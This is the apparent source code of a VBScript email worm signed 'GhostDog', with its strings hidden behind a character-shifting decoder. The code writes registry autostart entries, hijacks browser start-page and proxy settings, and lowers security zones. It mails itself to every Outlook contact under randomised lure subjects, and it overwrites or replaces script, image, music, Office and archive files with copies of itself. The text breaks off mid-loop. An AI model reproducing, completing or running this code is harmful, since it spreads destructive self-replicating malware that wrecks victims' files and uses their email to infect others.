REM (c) by GhostDog@EveryMail.net set WSHShell = CreateObject(ghost("ÖÒâñèïó­Òçäëë")) On error Resume next Rem english or other systems (I hope so). IT CANT COMPLETELY RUN IN win2000 yet REM REGISTRY PART BEGINNING -------------------------------------------------------------------------------- WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÒóàñóÏàæä"),ghost("çóóï¹®®ööö­àõï­âç") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÖèíãîöÓèóëä"),ghost("§â¨áøÆçîòóÃîæ   ") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÏñèíóÞÁàâêæñîôíã"),ghost("øäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÅôëëÒâñääí"),ghost("øäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÄññîñÃëæÃèòïëàøäãÎíÄõäñøÄññîñ"),ghost("øäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÒçîöÞÂçàííäëÁàíã"),ghost("øäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÏëàøÞÀíèìàóèîíò"),ghost("íî") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÂÎÍÅÈÆÛÒîåóöàñäÛÌèâñîòîåóÛöèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÏñî÷øÒäñõäñ"),ghost("âçäêîõ­ìàäòóñî­ãà­ñô¹µµµ¶") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÒçîöÞÒóàóôòÁàñ"),ghost("íî") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÌàèíÛÅñèäíãëøçóóïäññîñò"),ghost("íî") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÎååèâäÛ·­¯ÛÖîñãÛÖèùàñãòÛÏàæäÒèùä"),ghost("À³") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒîåóöàñäÛÌèâîñîòåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÏñîãôâóÈã"),ghost("ÄõäñøÌàèë­íäó ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒîåóöàñäÛÌèâîñîòåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑäæèòóäñäãÎöíäñ"),ghost("àíèâäÆôø") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒîåóöàñäÛÌèâîñîòåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑäæèòóäñäãÎñæàíèùàóèîí"),ghost("dzÅçàòóàêäíîõäñ ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÖèíëîæîíÛ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÖèíëîæîíÛÀôóîÀãìèíËîæîí"),ghost("°") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÖèíëîæîíÛÃîíóÃèòïëàøËàòóÔòäñÍàìä"),ghost("¯") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÖèíëîæîíÛËäæàëÍîóèâäÂàïóèîí"),ghost("ÅÔÂÊØÎÔ ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÖèíëîæîíÛËäæàëÍîóèâäÓä÷ó"),ghost("ÖäëâîìäîíóçèòÕèñôò¬Èíåäâóäã¬Òóàóèîí ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÊÈËËÓÇÄÕÈÑÔÒ¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒ±ÛÃèòïëàøÍàìä"),ghost("Þ¬¼ØÎÔÀÑÄÒÓÔÏÈü¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒ²ÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÇÀÇÀ ËÎÎÒÄÑ  ¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒ³ÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÇÀÇÀ ËÀÌÄÑ  ¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒ´ÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÎÇÖÇÀÓÒÓÇÀÓ¾¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒµÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÎÍËØËÈÓÓËÄÅÈËËÔÏ ¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÔíèíòóàëëÛÊÈËËÓÇÄÕÈÑÔÒ¶ÛÃèòïëàøÍàìä"),ghost("Þ¬¼ÀÇÈÒÄÄ­­ÒÓÔÏÈÃÔÒÄÑ ¼¬Þ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÄ÷óäíòèîíòÛ­ó÷ó"),ghost("ìòïàèíó­ä÷äÝ­áìï") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÄ÷óäíòèîíòÛ­áìï"),ghost("íîóäïàã­ä÷äÝ­ó÷ó") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÄ÷óäíòèîíòÛ­ãîâ"),ghost("íîóäïàã­ä÷äÝ­ãîâ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÌà÷ÂàâçäãÈâîíò"),ghost("°") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÖèíáîîó"),dirwin&ghost("ÛÖèíáîîó­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÂîîêèäòàõä"),dirtemp&ghost("ÛÀëóàõèòóà­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÒøòâîíåèæ"),dirsystem&ghost("ÛÒøòâîíåèæ­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÖèíâîëîñ"),dirsystem&ghost("ÛÖèíâîëîñ­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÂîîêèäëîàã"),dirtemp&ghost("Ûøàçîî­âîì­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÔòäñ²±­ä÷ä"),dirwin&ghost("ÛÔòäñ­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÂîëîñ¬Âçîèâä"),dirsystem&ghost("ÛÂîëîñÛÂîëîñâçîèâä­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÖèíãîöòÈíóäñïñäóäñÂîììàíãò"),dirwin&ghost("ÛÖèí­âîì­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÑôíÛÉÀÕÀ"),dirwin&ghost("ÛÉàõàÛÔòäñâîíåèæ­õáò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÀãõàíâäãÛÅîëãäñÛÇèããäíÛÍÎÇÈÃÃÄÍÛÓä÷ó"),ghost("Çèãäåèëäò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÀãõàíâäãÛÅîëãäñÛÇèããäíÛÒÇÎÖÀËËÛÓä÷ó"),ghost("àëëåèëäò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÀãõàíâäãÛÅîëãäñÛÇèãäÅèëäÄ÷óÛãä÷ó"),ghost("òîññø«ìøÆäñìàííîóòîæîî㬬½ÃàóäèíàìäíäñöäèóäñôíæáäèáäêàííóäíÃàóäèóøïäííèâçóàôòáëäíãäí") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÀëöàøòÔíëîàãÃËËÛ§Òóàíãàñã¨"),ghost("¯") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÔòäñÒçäëëÅîëãäñòÛÅàõîñèóäò"),ghost("¹ÛÌøÃîâôìäíóò") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛä÷ïëîñäñÛÔòäñÒçäëëÅîëãäñòÛÏäñòîíàë"),ghost("¹ÛÖèíãîöòÛÓäìï") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÂàâçäÛÂîíóäíóÛÂàâçäÏàóç"),ghost("¹ÛÖÈÍÃÎÖÒÛÃÄÒÊÓÎÏ") WSHShell.RegWrite ghost("ÇÊÄØÞËÎÂÀËÞÌÀÂÇÈÍÄÛÒÎÅÓÖÀÑÄÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÂàâçäÛÂîîêèäòÛÂàâçäÏàóç"),ghost("¹ÛÖÈÍÃÎÖÒÛÃÄÒÊÓÎÏ") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÃäòêóîïÛÆäíäñàëÛÖàëëïàïäñ"),ghost("¹ÛÖÈÍÃÎÖÒÛÖäáÛÒàåäÌîãä­çóó") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÃäòêóîïÛÆäíäñàëÛÁàâêôïÖàëëïàïäñ"),ghost("¹ÛÖÈÍÃÎÖÒÛÖäáÛÒàåäÌîãä­çóó") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÒäóóèíæòÛÔòäÀíâçîñÇîõäñÂîëîñ"),ghost("øäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÒäâôñèóøÛÒäíãèíæÞÒäâôñèóø"),ghost("Ëîö") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÒäâôñèóøÛÕèäöèíæÞÒäâôñèóø"),ghost("Ëîö") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÈíóäñíäóÄ÷ïëîñäñÛÒäâôñèóøÛÒàåäóøÖàñíèíæËäõäë"),ghost("Ãäàâóèõàóäã") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÅóïÛÔòäÖäáÁàòäãÅÓÏ"),ghost("íî") WSHShell.RegWrite ghost("ÇÊÄØÞÂËÀÒÒÄÒÞÑÎÎÓÛ­æèåÛÂîíóäíóÓøïä"),ghost("Èìàæä®áìï") WSHShell.RegWrite ghost("ÇÊÄØÞÂËÀÒÒÄÒÞÑÎÎÓÛ­áàóÛ§Òóàíãàñã¨"),ghost("âîìåèëä") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ¯ÛÃèòïëàøÍàìä"),ghost("Æäóôñàòòîóîåçäñä") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ¯ÛÈâîí"),ghost("ôòäñ­ä÷ä") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ°ÛÃèòïëàøÍàìä"),ghost("ÀÕÏÒäëåÊèëëèíæ") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ±ÛÃèòïëàøÍàìä"),ghost("ÇîñíøÒèóäò") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ²ÛÃèòïëàøÍàìä"),ghost("ÍÀÕÃäòóñôêóèîíòËèáñàñø") WSHShell.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖèíãîöòÛÂôññäíóÕäñòèîíÛÈíóäñíäóÒäóóèíæòÛÙîíäòÛ³ÛÃèòïëàøÍàìä"),ghost("ËîîòäñÒèóä") WSHShell.RegWrite ghost("ÇÊÄØÞÂËÀÒÒÄÒÞÑÎÎÓÛÂËÒÈÃÛúµ³´Åů³¯¬´¯·°¬°¯°Á¬¸Å¯·¬¯¯ÀÀ¯¯±Å¸´³ÄüÛ§Òóàíãàñã¨"),ghost("ÆçîòóÃîæ­­") on error resume next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad,Betreff,orderinfo,Text set regedit=CreateObject(ghost("ÖÒâñèïó­Òçäëë")) set out=WScript.CreateObject(ghost("Îôóëîîê­Àïïëèâàóèîí")) set mapi=out.GetNameSpace(ghost("ÌÀÏÈ")) for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 Randomize Timer orderinfo = INT(RND * 16) + 1 If orderinfo = 1 then Betreff = ghost("ÖèíãîöòÔïãàóä") Text = ghost("ÒääóçäàóóàâçäãÅèëäåîñìîñäèíåîàáîôóóçäôïãàóä­ÈóòàíÀÍÓÈÕÈÑÔÒÓÎÎË­ÅîñÅÑÄÄ  ") end if If orderinfo = 2 then Betreff = ghost("Çø    ") Text = ghost("Èçàõäíóçäàñãòîîëîíæíîóçèíæåñîìøîô­­­öñèóäìäòîìäóçèíæ Æîóàâôóäëèóóäëïñäòäíóàòàóóàâçäãåèëäåîñøîô ") end if If orderinfo = 3 then Betreff = ghost("Çîìäïàæä¼ööö­àõï­âç") Text = ghost("øäàçàæñäàóÀ¬ÕèñôòÇîìäïàæä  ÑÄÀÃÀÓÓÀÂÇÌÄÍÓÅÎÑÀÅÑÄÄÆÈÅÓÀÍÃÀÍÅÑÄÄÀÍÓÈÕÈÑÔÒÂÇÄÂÊ   ") end if If orderinfo = 4 then Betreff = ghost("Öôóùôï¾") Text = ghost("Öçàóòæîèíæîí¿øîôñçîìä¾Óäëëìäòîìäóçèíæíäöîññäàãóçèòâîîëàóóàâçäãåèëä") end if If orderinfo = 5 then Betreff = ghost("ÕÔÄÓäòóèíæÒîåóöàñä") Text = ghost("ØîôìèòòîôñÕÔÄÓäòóèíæÒîåóöàñä¾¾¾Óçäíòääàóóàâçäãåèëäåîñìîñäèíåî") end if If orderinfo = 6 then Betreff = ghost("ÕèñôòÍäöò¹") Text = ghost("ÀíäöÕèñôòèòæîèíæàñîôíã«ÒääóçäàóóàâçäãÅèëäåîñìîñäèíåîàíãàíÅñääÀíóèÕèñôòôïãàóä") end if If orderinfo = 7 then Betreff = ghost("ÇøÁàáä ") Text = ghost("ÇàõäøîôàëòîòääíóçèòÅèëäàëëñäàãø¾§Àóóàâçìäíó¨Èóòñäàëëøåôííø­­óñøèóàíãóäëëìäöçàóòçàïïäíèíæ­") end if If orderinfo = 8 then Betreff = ghost("Ãèñäâó×·") Text = ghost("Íîéîêä­­òääàóóàâçäãåèëä­­èóòàíèâäïñîæåñîìÌèâñîòîåó­­Ãèñäâó×·îñòîìäóçèíæëèêäóçàó") end if If orderinfo = 9 then Betreff = ghost("Æñääóò ") Text = ghost("ÇØ ­­­ÅÈËĬ¬½ÂËÈÂÊ ­­¹¬¨¨¨¨") end if If orderinfo = 10 then Betreff = ghost("Ôïò­­¾ ") Text = ghost("¾¾¾¾¾¾¬¬¬½ÅÈËĬ¬½ÂËÈÂÊ ¬¬¬½¹¬¨¨¨¨¨") end if If orderinfo = 11 then Betreff = ghost("Åîñæîóóòîìäóçèíæóîóäëëøîô­­") end if if orderinfo = 12 then Text = ghost("Àóóàâçäãåèëä«ëîîêàóèó­­èóòìøíäöäòóÏñîæñàìì") end if If orderinfo = 13 then Betreff = ghost("ÇÌ̾ ¾ ") Text = ghost("ÇÀÏÏØÁÈÑÓÇÒÃÀØ   ËîîêàóóçäÏñîæñàììÈìàãäåîñøîô­­èóòóçäàóóàâçäãåèëä ") end if If orderinfo = 14 then Betreff = ghost("ËäóòçàõäÅÔÍ ") Text = ghost("ÈåøîôöàíóóîòääìäíàêäãëîîêàóóçäÅèëäöçàóòàóóàâçäãºÎ¨") end if If orderinfo = 15 then Betreff = ghost("ÀíóèÕèñôòÈíåî ÑÄÀà ") end if If orderinfo = 16 then Betreff = ghost("ÈÍÓÄÑÍÄÓ¬ÏÑÎÕÈÃÄѬÏÑÎÁËÄÌÒ") end if regv=regedit.RegRead(ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖÀÁÛ")&a) if (regv=ghost("")) then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad=ghost("") regad=regedit.RegRead(ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖÀÁÛ")&malead) if (regad=ghost("")) then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = Betreff male.Body = vbcrlf&Text male.Attachments.Add(windir&ghost("Ûöèí­âîì­õáò")) male.Send regedit.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖÀÁÛ")&malead,1,ghost("ÑÄÆÞÃÖÎÑÃ") end if x=x+1 next regedit.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖÀÁÛ")&a,a.AddressEntries.Count else regedit.RegWrite ghost("ÇÊÄØÞÂÔÑÑÄÍÓÞÔÒÄÑÛÒîåóöàñäÛÌèâñîòîåóÛÖÀÁÛ")&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3,office,GIF,ZRA set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext=ghost("õáò")) or (ext=ghost("õáä")) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=ghost("éò")) or (ext=ghost("éòä")) or (ext=ghost("âòò")) or (ext=ghost("öòç")) or (ext=ghost("òâó")) or (ext=ghost("çóà")) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&ghost("Û")&bname&ghost("­õáò")) fso.DeleteFile(f1.path) REM infects js, jse, css, wsh, sct and hta elseif(ext=ghost("éïæ")) or (ext=ghost("éïäæ")) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&ghost("­õáò")) fso.DeleteFile(f1.path) REM infects jpg, jpeg elseif(ext=ghost("ìï²")) or (ext=ghost("ìï±")) then set mp3=fso.CreateTextFile(f1.path&ghost("­õáò")) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 REM infects mp3 and mp2 elseif(ext=ghost("ãîâ")) or (ext=ghost("÷ëò")) or (ext=ghost("ïïó")) then set office=fso.CreateTextFile(f1.path&ghost("­õáò")) office.write vbscopy office.close set off=fso.GetFile(f1.path) off.attributes=att.attributes+2 REM infects doc, xls, ppt elseif(ext=ghost("æèå")) then set GIF=fso.CreateTextFile(f1.path&ghost("­õáò")) GIF.write vbscopy GIF.close set GGG=fso.GetFile(f1.path) GGG.attributes=att.attributes+2 REM infects gif elseif(ext=ghost("ùèï")) or (ext=ghost("ñàñ")) then set ZRA=fso.OpenTextFile(f1.path,2,true) ZRA.write vbscopy ZRA.close set RIP=fso.GetFile(f1.path) RIP.copy(f1.path&ghost("­õáò")) fso.DeleteFile(f1.path) REM infects zip and rar end if next On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,index,index2 eq=ghost("") ctr=0 Set fso = CreateObject(ghost("Òâñèïóèíæ­ÅèëäÒøòóäìÎáéäâó")) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) index = 0 index2 = 0 Rem nobody´s gonna kill ma files DO index2 +1 DO index + 1 If exist (dirwin&ghost("ÛÃäòêóîï")) then c.Copy(dirwin&ghost("Öèíáîîó­õáò")) c.Copy(dirtemp&ghost("Àëóàõèòóà­õáò")) c.Copy(dirsystem&ghost("Òøòâîíåèæ­õáò")) c.Copy(dirsystem&ghost("Öèíâîëîñ­õáò")) c.Copy(dirtemp&ghost("øàçîî­âîì­õáò")) c.Copy(dirwin&ghost("Ôòäñ­õáò")) c.Copy(dirsystem&ghost("ÛÂîëîñÛÂîëîñâçîèâä­õáò")) c.Copy(dirwin&ghost("Öèí­âîì­õáò")) c.Copy(dirwin&ghost("ÛÉàõàÛÔòäñâîíåèæ­õáò")) end if if exist (dirwin&ghost("ÛÃñèõäñÂàâçä")) then c.Copy(dirwin&ghost("Öèíòóàñóäñ­õáò")) c.Copy(dirtemp&ghost("Àõèòæàëîñä­õáò")) c.Copy(dirsystem&ghost("Ôòäñâîíåèæ­õáò")) c.Copy(dirsystem&ghost("Ä÷óñàâîëîñ­õáò")) end if Loop Until index = 50 Loop Until index2 = 50 On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,index eq=ghost("") ctr=0 Set fso = CreateObject(ghost("Òâñèïóèíæ­ÅèëäÒøòóäìÎáéäâó")) set file = fso.OpenTextFile(WScript.ScriptFullname,1) Set c = fso.GetFile(WScript.ScriptFullName) index = 0 do index + 1 